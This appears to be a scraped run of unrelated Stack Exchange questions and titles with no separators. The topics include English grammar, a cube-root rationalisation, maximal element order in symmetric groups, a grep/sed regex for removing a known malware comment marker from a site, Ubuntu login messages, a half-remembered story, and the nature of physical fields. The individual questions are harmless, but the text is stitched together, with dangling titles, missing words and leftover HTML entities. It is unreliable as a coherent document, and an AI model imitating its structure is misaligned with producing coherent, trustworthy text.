Sentence analysis trouble I need to make an analysis of this sentence:     ....and we can use them to help you to buy the best product.   or     ....and we can use them to help you buy the best product.   We - subject, can use - verbs, them - indirect subject, to help you buy the best product - direct subject.   Am I right?  I'm not sure if to use to buy or just buy and if it is the part of subject or another sentence.
help you learn vs. help you to learn Source:  by Douglas Crockford (2008) Example:  My goal here is to help you to learn to think in JavaScript. I will show you the components of the language and start you on the process of discovering the ways those components can be put together.  Although it is usually the case that you mostly hear people say something like &quot;this will help you become a better person&quot;, is there any particular reason as to why he chose not to leave out the to and say help you to learn instead? If you've got something interesting to say, could you please elaborate on it as well? I would very much like to receive some coherent explanation and get this thing finally straight. The only time I know of, though, that you would use the to is when you say it like this:  It helps a lot to think of the rather difficult concept of classes used in modern software development as mere blueprints that architects and builders use to build houses. In life, it really helps to know your times tables by heart because not all the time do you have a calculator on you.  Because the aspect of the verb &quot;help&quot; is a little bit different here. But in all other cases, help do or help you do something is by far more common.
Rationalize   $\dfrac{1}{\sqrt[3]{p^2}+\sqrt[3]{pq}+\sqrt[3]{q^2}}.$  How would I go about doing this without wading through lots of algebra?  Is there a trick similar to how you can multiply by $\dfrac{\sqrt a-\sqrt b}{\sqrt a-\sqrt b}$ with square roots?  Thanks in advance! Castellation metal loop connector Maximal order of an element in a symmetric group If we let $S_n$ denote the symmetric group on $n$ letters, then any element in $S_n$ can be written as the product of disjoint cycles, and for $k$ disjoint cycles, $\sigma_1,\sigma_2,\ldots,\sigma_k$, we have that $|\sigma_1\sigma_2\ldots\sigma_k|=\operatorname{lcm}(\sigma_1,\sigma_2,\ldots,\sigma_k)$.  So to find the maximum order of an element in $S_n$, we need to maximize $\operatorname{lcm}(\sigma_1,\sigma_2,\ldots,\sigma_k)$ given that $\sum_{i=1}^k{|\sigma_i|}=n$. So my question:      How can we determine $|\sigma_1|,|\sigma_2|,\ldots,|\sigma_k|$ such that $\sum_{i=1}^k{|\sigma_i|}=n$ and $\operatorname{lcm}(\sigma_1,\sigma_2,\ldots,\sigma_k)$ is at a maximum?   Example  For $S_{10}$ we have that the maximal order of an element consists of 3 cycles of length 2,3, and 5 (or so I think) resulting in an element order of $\operatorname{lcm}(2,3,5)=30$.  I'm certain that the all of the magnitudes will have to be relatively prime to achieve the greatest lcm, but other than this, I don't know how to proceed. Any thoughts or references? Thanks so much. Can some metadata about deleted posts be included in Data.SE? I'm trying to remove malware code from a site using a script, I'm having trouble getting the regex right for the malware part.  What I want to do eventually is to use sed in order to find the malicious code and replace it.

So now I'm thinking I could use regular expressions to accomplish this, So I don't have to use the whole string.  Here's the other code:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   This doesn't do anything.  This one does:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*'  grep -rl --exclude='*.sh' $INFECTED .   And this one too:  INFECTED='.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   I'm hoping to get the regex right in grep, and then apply it in sed. Any ideas on how accomplish the goal better ? Or what is wrong with this code ?  Thanks =) How to filter IPv4 and IPv6 addresses? How do I suppress the "New release '12.10' available" message? When I ssh into my  box, I get this message:  Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-32-generic x86_64)   * Documentation:  https://help.ubuntu.com/  New release '12.10' available.

I am trying to find a story where a children's nursery turns into a jungle I read this short story(I believe it was under novella length, but I could be mistaken) a while back, and I am trying to identify the title for a friend.   Plot:      Parents(male and female) get a computer aided/holographic nursery for their children. The mother becomes increasingly agitated as the children withdraw more. The children are barely even featured in the story, and the ending concludes with lions possibly eating the parents.   Publishing date: Years ago.

I have to import several hundreds of .obj into the blender file, is this possible? What do you call a group of people that move a lot? I can't think of the word to describe it. Something similar to "wanderer" or "roamer".   It's often used to describe people that don't stay in one place... not "migratory"... Calling the base constructor in C# $\Bbb RP^2$ as the union of a Möbius band and a disc I spent some time trying to understand that the projective plane, $\Bbb RP^2$, can be viewed as the union of a Möbius band and a disc. I consider this using Homogeneous coordinates. But I still hope to really 'see' this fact in some way.

There was a reason why I constantly failed physics at school and university, and that reason was, apart from the fact I was immensely lazy, that I mentally refused to &quot;believe&quot; more advanced stuff until I understand the fundamentals (which I, eventually, never did). As such, one of the most fundamental things in physics that I still don't understand (a year after dropping out from the university) is the concept of . No one cared to explain what a field actually is, they just used to throw in a bunch of formulas and everyone was content. The school textbook definition for a field (electromagnetic in this particular case, but they were similar), as I remember it, goes like:  An electromagnetic field is a special kind of substance by which charged moving particles or physical bodies with a magnetic moment interact.  A special kind of substance, are they for real? This sounds like the authors themselves didn't quite understand what a field is so they decided to throw in a bunch of buzzwords to make it sounds right. I'm fine with the second half but a special kind of substance really bugs me, so I'd like to focus on that. Is a field material? Apparently, it isn't. It doesn't consist of particles like my laptop or even the light. If it isn't material, is it real or is it just a concept that helps to explain our observations? While this is prone to speculations, I think we can agree that in scope of this discussion particles actually do exist and laws of physics don't (the latter are nothing but human ideas so I suspect Universe doesn't &quot;know&quot; a thing about them, at least if we're talking raw matter and don't take it on metalevel where human knowledge, being a part of the Universe, makes the Universe contain laws of physics). Any laws are only a product of human thinking while the stars are likely to exist without us homo sapiens messing around. Or am I wrong here too? I hope you already see why I hate physics. Is a field not material but still real? Can something &quot;not touchable&quot; by definition be considered part of our Universe by physicists? I used to imagine that a &quot;snapshot&quot; of our Universe in time would contain information about each particle and its position, and this would've been enough to &quot;de&quot; it but I guess my programmer metaphors are largely off the track. (Oh, and I know that the uncertainty principle makes such (de)serialization impossible — I only mean that I thought the Universe can be &quot;defined&quot; as the set of all material objects in it). Is such assumption false? At this point, if fields indeed are not material but are part of the Universe, I don't really see how they are different from  except for perhaps a more geeky flavor. When I talked about this with the teacher who helped me to prepare for the exams (which I did pass, by the way, it was before I dropped out), she said to me that, if I wanted hardcore definitions,  a field is a function that returns a value for a point in space.  Now this finally makes a hell lot of sense to me but I still don't understand how mathematical functions can be a part of the Universe and shape the reality. Is a variable/arbitrary element a precisely defined mathematical object? What is the best practice re: API Version of your Apex Classes? I'm in the process of pushing some updates to some code I originally wrote 12-18 months ago, and the API Version is between 27.0 and 29.0  I know this is to protect the integrity of the test classes you've built (in case they have changed some things) but is there a best practice around either leaving these alone or trying to keep them up-to-date (maybe just once a year instead of at each release)?
